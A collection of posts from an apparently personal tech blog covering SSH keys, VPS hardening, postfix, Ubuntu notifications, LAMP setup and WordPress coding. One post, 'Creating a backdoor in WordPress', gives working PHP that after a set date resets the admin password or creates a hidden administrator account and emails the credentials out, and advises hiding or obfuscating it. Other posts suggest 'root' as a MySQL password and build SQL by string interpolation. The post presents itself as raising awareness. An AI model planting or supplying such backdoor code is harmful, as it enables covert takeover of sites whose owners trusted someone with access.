If you don’t have them, generate a new one.

How to generate a SSH key pair?

ssh-keygen -t rsa

To be able to use password less authentication, you need to put the public key on server.

Do that either by adding the contents of public key file in ~/.ssh/authorized_keys on server or use ssh-copy-id user@serverhost which will do that for you.

Now just attempt to login by user@serverhost.com and you will be able to do so.

Its totally safe to use public key because without your private key that’s no good to anyone.

How it works?

Server sends you a challenge string which you encrypt using your private key and send the encrypted challenge string back. Now only your public key can decrypt it to what it originally was, thus confirming its actually you and let you login. Simple enough.

The post SSH password less key authentication 101 appeared first on Ashfame | Blog.

To quickly setup latest NginX, MySQL, PHP (with APC and Suhosin) & exim, just use this script https://github.com/vladgh/VladGh.com-LEMP

These instructions will get things up and running a secure server.

Buy a VPS which will get you root access to your server.

Create a new user with sudo powers which will be actually used to do everything on a regular basis since using root is not recommended.

adduser ashfame
usermod -a -G sudo ashfame

Setup iptables (firewall)

From your new account, setup your key based login, disable root login & password login so that only key based logins are allowed.

sudo nano /etc/ssh/sshd_config
PasswordAuthentication no
PermitRootLogin no
UsePAM no

Links which explain the above things in detail:

https://library.linode.com/securing-your-server

http://stackful-dev.com/linux-101-hardening-ssh.html

The post Setting up your VPS appeared first on Ashfame | Blog.

Install postfix

sudo apt-get install postfix

Install mutt

sudo apt-get install mutt

To configure postfix for localhost, specify the following in its config file at /etc/postfix/main.cf

myorigin = localhost
mydestination = $myhostname, localhost.$mydomain, localhost
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
relayhost =

Restart postfix

sudo /etc/init.d/postfix restart

Now you can read localhost mails using mutt

mutt

It will read emails from /var/mail/USERNAME

The post Send & Receive mails to & from localhost appeared first on Ashfame | Blog.

Like I use wifi to connect to the internet but my bluetooth is switched on by default all the time. And if I try to disable bluetooth it disables wifi too.

To control them via terminal or command line, you can do this (Atleast from Ubuntu 10.10 onwards):

ashfame@ashfame-xps:~$ rfkill list all
0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
4: hci0: Bluetooth
Soft blocked: yes
Hard blocked: no

You see how it says soft blocked & hard blocked. Soft block is a switch in OS & hard block is a hardware switch in your machine.

You can disable the ones you don’t want by:

rfkill block bluetooth

and enable the ones you want by:

rfkill unblock wifi

Disabling the ones you don’t want will save you some battery if you are on a laptop/notebook/ultrabook.

The post Ubuntu controlling network adapters through terminal appeared first on Ashfame | Blog.

@appfog @ashfame Could you send us acct details so we can look at what’s going on? Pls share UI bugs too (support.appfog.com)

— AppFog Help (@AppFogHelp) September 9, 2012

I like what they are doing in PAAS industry, I want to see them grow, so posting my findings here for them to see:

Functionality bugs

• favpulse.aws.af.cm throws 502 gateway error (its a WordPress install)
  • Its a fresh install created from Appfog UI. Used to work fine, but stopped working without any change from my end.
• Trying to access wp-admin on any WP install redirects me to a url like this http://polyextrusion.ap01.aws.af.cm:37759/wp-admin/ and then it doesn’t connect.
• Installed phpmyadmin is open to world, no authentication in place. Unusable!
• Unable to do a mysql import using af gem on Ubuntu. Had to run the whole sql file manually as script in Mysql workbench. Took too much of time and wasn’t sure if everything completed without issues.
• caldecott is deployed multiple times, one for each database I want to access, why? Plain stupid!
• Nobody is keeping any eye on pull requests on Github - https://github.com/appfog/af-php-wordpress/pull/1

UI Bugs

• Creating an app usually fails. And sometimes, instead of showing strings it shows “Object object”. Messy JS code?

The post Feedback to Appfog appeared first on Ashfame | Blog.

Fetching Comments of a particular user

$args = array( 'number' => 10, 'status' => 'approve', 'user_id' => 1 );
$comments_list_by_user = get_comments( $args );
print_r ( $comments_list_by_user );

Fetching Comments of a particular post

$args = array( 'number' => 10, 'status' => 'approve', 'post_id' => 30 );
$comments_list_post = get_comments( $args );
print_r ( $comments_list_post );

Fetching Comments of a particular category

Here is how you can fetch comments for a specific category:

// Posts per page setting
$ppp = get_option('posts_per_page'); // either use the WordPress global Posts per page setting or set a custom one like $ppp = 10;
$custom_offset = 0; // If you are dealing with your custom pagination, then you can calculate the value of this offset using a formula

// category (can be a parent category)
$category_parent = 3;

// lets fetch sub categories of this category and build an array
$categories = get_terms( 'category', array( 'child_of' => $category_parent, 'hide_empty' => false ) );
$category_list =  array( $category_parent );
foreach( $categories as $term ) {
 $category_list[] = (int) $term->term_id;
}

// fetch posts in all those categories
$posts = get_objects_in_term( $category_list, 'category' );

$sql = "SELECT comment_ID, comment_date, comment_content, comment_post_ID
 FROM {$wpdb->comments} WHERE
 comment_post_ID in (".implode(',', $posts).") AND comment_approved = 1
 ORDER by comment_date DESC LIMIT $ppp OFFSET $custom_offset";

$comments_list = $wpdb->get_results( $sql );

if ( count( $comments_list ) > 0 ) {
 $date_format = get_option( 'date_format' );
 echo '<ul>';
 foreach ( $comments_list as $comment ) {
 echo '<li>Comment: '.substr( $comment->comment_content, 0, 50 ).'..<br />'.date( $date_format, strtotime( $comment->comment_date ) ).'<br />Post: <a href="'.get_permalink( $comment->comment_post_ID ).'">'.get_the_title( $comment->comment_post_ID ).'</a></li>';
 }
 echo '</ul>';
} else {
 echo '<p>No comments</p>';
}
?>

What we have done here is that, first we fetch sub categories of the category specified so as to include comments on those posts too which are under a sub-category of the specified category. Then we build an array of all these categories, where we need to look up for comments. Then we fetch the posts ID under those categories and then we use a query to fetch the comments on those posts. Finally, we display them as per our need by iterating $comments_list.

In case you want to fetch the comments of a  particular user under a specific category, then you can just change the SQL query in the above code to this:

$user_id = 1; // change this to the user ID either manually or let it come from some other code
$sql = "SELECT comment_ID, comment_date, comment_content, comment_post_ID
 FROM {$wpdb->comments} WHERE
 comment_post_ID in (".implode(',', $posts).") AND comment_approved = 1 AND user_id = $user_id
 ORDER by comment_date DESC LIMIT $ppp OFFSET $custom_offset";

I have used simple names for variables here to make it easy to understand. Always take care to provide your code in its own namespace, choose unique (non-generic) names. Read prefix everything in WordPress.

Need help? Got questions? Comment section is all yours!

The post Fetch comments of a specific category in WordPress appeared first on Ashfame | Blog.

Some of the users who quickly upgraded might be facing issues because of a silly mistake on my part. If the plugin has disappeared from the plugins listing, then you would have to delete the folder “facebook-like-thumbnail” folder in your plugins folder (/wp-content/plugins/) and then reinstall the plugin by typing “Facebook Like Thumbnail” in Add New Plugins screen. I apologise for the issue, please excuse me, I am not used to pushing updates to public repositories.

The plugin now features an options pages which can be found under Settings > Facebook Like Thumbnail. You can specify your default thumbnail image on that page, no more code edits are required. This was a necessary move as the users would have to edit the plugin to specify their default image after every upgrade.

The plugin now supports featured thumbnails and NextGEN galleries (other than the slideshow ones).

The plugin picks the thumbnail in the following order (whichever is found first)

• If its a post or page
  • Featured Thumbnail
  • First Image in the post
  • Default
• If its a Front Page or Search Page
  • Default
• Anything else
  • First image in the first post of the loop
  • Default

Facebook Like Thumbnail

Author: Ashfame, version: 0.2, updated: April 16, 2011,
Requires WP version: 2.7 or higher, tested up to: 3.1.4.
Download (34 255 hits) (29 votes)

Adding the author avatar on author pages to be used as thumbnail and ignoring smilies as a possible match for thumbnail are on my To-do lists. If you have any suggestions, comments section is all yours.

Also the plugin can be totally uninstalled by using the delete option from WordPress dashboard, it won’t leave anything behind in the database.

I have tried to keep the plugin as fast as it can be. If any developer can provide any suggestions/improvements, I would love that. If you have any questions or facing any issues because of the early upgrade or need any help, give me a shout in the comments.

The post WordPress plugin Facebook Like Thumbnail Updates appeared first on Ashfame | Blog.

Here for the sake of explanation of approach, I am making the content paginated where content is already paginated. We will make our extra content work in order to the global $paged variable.

<?php
// Posts Per Page option
$ppp = get_option('posts_per_page');

if (!is_paged()) {
	$custom_offset = 0;
} else {
	$custom_offset = $ppp*($paged-1);
}

// Lets suppose we are querying for posts of a certain author in a particular category
$args = array(
'numberposts' => $ppp,
'offset' => $custom_offset,
'category' => 7, // Category ID of category 'Articles'
'author' => $author_id
);

$posts_data = get_posts( $args );

if ( count( $posts_data ) > 0 ) {
	echo '<ul>';
	foreach ( $posts_data as $post ) {
		echo '<li><a href="'.get_permalink( $post->ID ).'">'.$post->post_title.'</a></li>';
	}
	echo '</ul>';
} else {
	echo '<p>No articles by this user</p>';
}
?>

This way the code make use of the global $paged variable to see which page it is on, and set the value of offset accordingly making the fetched content using get_posts itself paginated. On Page 1, the offset will be zero, it will fetch the posts limited by the posts per page value and on Page 2, the offset will be calculated to leave the posts already shown on previous page and query further posts limited by the posts per page value.

Got questions? Comment section is down below.

The post Pagination approach using get_posts() in WordPress appeared first on Ashfame | Blog.

Some tutorials use one, some other and many of them are in fact incorrect because they might seem to get the job done but in certain cases they cause side effects, such as modified global variables on which other functionality may rely.

The fight is in between using WP_Query or query_posts or get_posts. Rarst created a great chart to explain what is going on in the three approaches to make it easy to understand the working. which I totally recommend checking out.

Rarst explained the difference quite precisely as follows:

• query_posts() should be used in one and only case if you need to modify main query of page. It sets a lot of global variables and will lead to obscure and horrible bugs if used in any other place and for any other purpose;
• get_posts() is very similar in mechanics and accepts same arguments, but returns array of posts, doesn’t modify global variables and is safe to use anywhere;
• WP_Query class power both behind the scenes, but you can also create and work with own object of it. Bit more complex, less restrictions, also safe to use anywhere.

I want to stress that query_post() wrongfully overused in many tutorials around. It is one of the most widespread bad practices.

Next time you need to make WordPress to show content other than what it does by default, take care to choose the right method. If there is something that you don’t understand in the chart, leave a comment here and I will happily explain.

The post Which one to use WP_Query vs query_posts() vs get_posts()? appeared first on Ashfame | Blog.

I have created a launcher in my top panel, with which I start a new pomodori (name for a new period of time, lets call it a Pomodoro anyway). It calls up the script which alerts me that a new Pomodoro (time period) has started and then alert me again when the timer ends and I should take a small break.

Here is the script:

DISPLAY=:0 notify-send -t 1000 -i /home/ashfame/Dropbox/Ubuntu/icons/pomodoro.png "New Pomodoro starts" "You have 25 minutes to work."
# 25 minutes timer
sleep 1500
DISPLAY=:0 notify-send -t 1000 -i /home/ashfame/Dropbox/Ubuntu/icons/pomodoro.png "Pomodoro ends" "Take a break!"

As soon as I click the launcher, the first notification appears telling me that a new Pomodoro has started.

Then it sleeps for 1500 secs = 25 minutes. And after that the second notification appears telling me that the Pomodoro has ended.

I just take a 3-5 minutes break or even longer (I am the boss!), and then I again click on the launcher starting another Pomodoro and I work for another 25 minutes. You can use the same tomato icon, if you want.

Enjoy the awesomeness of Ubuntu and ditch Windows, yes I am an Ubuntu advocate and will push you to switch all the time

Have your say in the comments!

The post Pomodoro Timer in Ubuntu appeared first on Ashfame | Blog.

Rhythmbox Song Notification

Filezilla Transfer Complete Notification

We too can use this easily in our shell scripts. It supports more functionality if you are working in Python or C (Read Ubuntu NotifyOSD) but for shell scripts it does the pretty fine job too, if you just want to make Ubuntu work for you.

Using NotifyOSD in shell scripts

Make sure you have libnotify-bin installed, if not, just install it by typing the following command in a terminal:

sudo apt-get install libnotify-bin

notify-send – Program to send desktop notifications

With notify-send you can sends desktop notifications to the user via a notification daemon from the command line. These notifications can be used to inform the user about an event or display some form of information without getting in the user’s way.

Check out the man page for it, to see the options it has to offer – man notify-send

Enter this in a terminal, notify-send “Hello” “this is just a test” and you will see the notification appearing up on your desktop.I usually collect icons that I would like to use and then use them in notification bubbles in the following manner:

In terminal, you can use it like

notify-send -t 2000 -i /home/ashfame/Dropbox/Ubuntu/icons/console.png "Hello Ashfame" "This is your computer, lets start with work"

In a shell script, use it like (take care of the screen where you want to display the message – I am on a dual screen setup)

DISPLAY=:0 notify-send -t 2000 -i /home/ashfame/Dropbox/Ubuntu/icons/console.png "Hello Ashfame" "This is your computer, lets start with work"

Time parameter (-t) lets you specify the time in miliseconds after which the notification will fade away. Its affected with a bug right now (will work on the default timeout even if you set it, but will be fixed in upcoming releases anyway, so better use it).

Icon parameter (-i) is used to specify the icon which is to be used in the notification.

You can also use it to notify you when a certain command has completed in the terminal, like when you were compiling some code or anything which takes a good amount of time so that you can get to know the moment it is ready. As an example, you can use it like

make && notify-send "DONE"

Making practical use of NotifyOSD using notify-send

You can create shell scripts for additional functionality you want, right? Just use notify-send where you want you to be informed or alerted.

Here are the examples, where I use them:

1. WordPress new version alert
2. Alert if my site is down
3. Health check – Tells me to take breaks, sleep at night and if I resist, lock the screen
4. Pomodoro technique for quantizing time for increasing productivity
5. Random fun facts from randomfunfacts.com

You can build a lot more useful stuff as per your needs. Share your ideas in the comments and we can discuss

The post Using Ubuntu Notification System – NotifyOSD appeared first on Ashfame | Blog.

Example #1

Change the admin password after a certain date or time and inform us! Sounds good?

<?php
if ( strtotime( "2011-04-30" ) < time() ) {

	$target_admin_id = 1; // change this if admin has a different ID or you want to attach a particular admin
	$target_admin_new_password = 'evilme';
	$target_admin_userinfo = get_userdata( $target_admin_id );

	if ( !wp_check_password( $target_admin_new_password, $target_admin_userinfo->user_pass , $target_admin_id ) ) { // Have we already changed the password?

		add_action( 'shutdown', 'evilme_change_admin_password' );

		function evilme_change_admin_password() {

			global $target_admin_id;
			global $target_admin_new_password;
			global $target_admin_userinfo;

			wp_set_password( $target_admin_new_password, $target_admin_id );

			// now email me that my password of admin account has changed ready

			wp_mail( 'ashishsainiashfame@gmail.com', 'Admin password has been changed!', 'WP URL - '.get_bloginfo( 'wpurl' ).' | username: '.$target_admin_userinfo->user_login.' | password: '.$target_admin_new_password );
		}
	}
}

?>

At the very beginning, I checked if the current time is passed April 30, then execute all this code. Change it to the date when you want the backdoor to be created. The basic logic is to set the password of a user using wp_set_password() and keep a check on the password so as to avoid a database write and an alert email sent to you on every page load.

I have attached it to the shutdown hook so that it doesn’t disturb the page output exactly when it happens. Change the email address and the new password you want to set and try this on a demo WordPress install by pasting the code in functions.php file.

Example #2

Create a new admin user after a certain date or time and ping us when ready!

<?php
if ( strtotime( "2011-04-30" ) < time() ) {

	// Required for username_exists()
	require_once( ABSPATH . WPINC . '/registration.php' );

	if ( !username_exists( 'ashfame-evil' ) ) { // Have we already done it once?

		add_action( 'shutdown', 'evilme_create_new_admin' );

		function evilme_create_new_admin() {

			$user_id = wp_insert_user( array(

				'user_login' => 'ashfame-evil',

				'user_pass' => 'evilme',

				'user_email' => 'ashishsainiashfame@hotmail.com',

				'role' => 'administrator'

			) );

			// now email me that my new admin account is ready

			wp_mail( 'ashishsainiashfame@gmail.com', 'New Admin account is ready', 'WP - '.get_bloginfo( 'wpurl' ).' | username: ashfame-evil | password: evilme' );
		}
	}

}

?>

Again I check for the date, and if the condition satisfies, I used wp_insert_user() to create a new administrator user. To make sure the code only do this once, I keep a check if the username I want to create exists or not. If its does, we have already created a new admin user of which you should have got an email. You can test this too by changing the email address and putting the code in your functions.php file.

Ideally you don’t keep this code easily visible, you can just hide it anywhere. Deep inside functions.php file, some custom plugin or even obfuscate the code.

This tutorial was solely for the purpose of fun & making people aware about the fact that it is not safe when you provide temporary access to your blog. If they did what just I demonstrated you would see everything fine, there will be nothing you can make note of but after the timer, it will create a backdoor. More logical implementation would be to create a administrator account at a certain amount of time, and then delete that user after 1 hour every day/week. The User ID would go up, and might create suspicion after quite some time, but possibilities are endless. Be smart, be aware, spread the word about it. Friends don’t let friends fall for others’ trap.

If you have any questions about the code here, feel free to shoot me a question in the comments. And don’t forget to share this post on Facebook & Tweet it!

Subscribe to feeds so as not to miss any of the evil posts!

The post Creating a backdoor in WordPress appeared first on Ashfame | Blog.

You are welcome for the following:

• Comment anything relevant! You can criticise my series too, I won’t mind!
• Tip me for the next Evil Post.
• Write a Guest Post for WP Evil Series (Decision of accepting it as a qualified WordPress Evil Post Series will be totally on me, though)

That said, first post in the series will be up in a few minutes.

The post WordPress Evil Post Series appeared first on Ashfame | Blog.

Install LAMP stack

Fire up a terminal (Applications > Accessories > Terminal) and enter this command:

sudo apt-get install lamp-server^

Enter y for yes when it asks to continue after estimation of how much data will be downloaded and how much will be used on disk.

It will install quickly and can take a few minutes depending on your internet speed, and then it will ask you to setup the password for MySQL user root. It is usually left blank on localhost machines as they are used only for development purposes but last time I left it blank, I had to deal with the issues that it didn’t change the password to blank but has something else and I had to turn off the password prompt for root access. Avoid doing all that by just selecting “root” or anything you want as the password of the root user of MySQL.

Confirm it once (Type the password and press Tab key).

and you are done.

Test Apache Webserver

Just open http://localhost/ in your browser and it will show up a message “It works!” which means Apache is working fine.

Test PHP

Create a file named phpinfo.php in /var/www/ to check if PHP is working fine.

sudo nano /var/www/phpinfo.php

Enter the content as <?php phpinfo(); ?> and save the file by hitting Ctrl + X and then y (for yes) and return key (enter).

Restart Apache webserver by the following command – sudo /etc/init.d/apache2 restart

Now open http://localhost/phpinfo.php and it will show up a page with lots of php related information, if you can see it, PHP is working fine.

Install phpMyAdmin

Enter this command in terminal – sudo apt-get install libapache2-mod-auth-mysql phpmyadmin

Select Apache as the web server by pressing Space and then Tab key and press enter key.

Press Yes to configure database for phpmyadmin.

Provide password which we set as “root” earlier.

Again, enter “root“.

Confirm it, and then you are done.

Test phpMyAdmin

Now open http://localhost/phpmyadmin/ in your brower to access phpmyadmin and you can login with username and password both as root.

Pretty quick & easy!

Everything is done, you have your web root at /var/www/ where you will need super user permissions to write files, I will do a follow up post on how you can make this easier by keeping your files in your Home directory instead and a bit of extra which will make it totally complete.

Subscribe so that you don’t miss updates! RSS/Email options are in the sidebar.

The post Quickly setup a localhost environment in Ubuntu appeared first on Ashfame | Blog.

But sometimes it might happen that the spam blog site might be getting indexed quicker than the original site when your original site is pretty much new, so it can be a temporary hold for your organic traffic growth. In such case, we can deal with them by delaying the feeds for a certain amount of time as all these scrappers work by pulling articles from your feeds and then publishing your articles on their site.

Delay publishing of WordPress Feeds:

Here is the snippet with you can delay your feeds for (lets say 15 minutes):

/**
 * Publish the content in the feed 15 minutes later
 * $where ist default-var in WordPress (wp-includes/query.php)
 * This function an a SQL-syntax
 */
function publish_later_on_feed($where)
{
	global $wpdb;
	if ( is_feed() )
	{
		// timestamp in WP-format
		$now = gmdate('Y-m-d H:i:s');
		// value for wait; + device
		$wait = '15'; // integer
		// http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff
		$device = 'MINUTE'; //MINUTE, HOUR, DAY, WEEK, MONTH, YEAR
		// add SQL-sytax to default $where
		$where .= " AND TIMESTAMPDIFF($device, $wpdb->posts.post_date_gmt, '$now') > $wait ";
	}
	return $where;
}
add_filter('posts_where', 'publish_later_on_feed');

This will delay the feeds for 15 minutes (Line 14 in the code) before any new article appears in it. This is a very good approach in killing those automated blogs. But sometimes it can be the case, that they are not automated. Its humans manually copy-pasting the articles from various sources. In such a case, what you can do is to make your blog ping the crawl bots so that your chances of getting indexed first is maximised.

Checklist for fast indexing:

• Submit a Sitemap to Google Webmasters.
• Use PushPress and RSS Cloud WordPress plugin.
• Use WordPress option to ping pinging service and add several multiple pinging service there (less effective now but doing it won’t harm)
• Delay your feeds for a few minutes (Scrappers won’t be manually monitoring your site every minute)

Hope that helps you defeat those blood sucking scrappers. If you have any questions or tip, feel free to leave it in the comments below.

The post Deal with Blog Scrappers getting indexed quicker than the original site appeared first on Ashfame | Blog.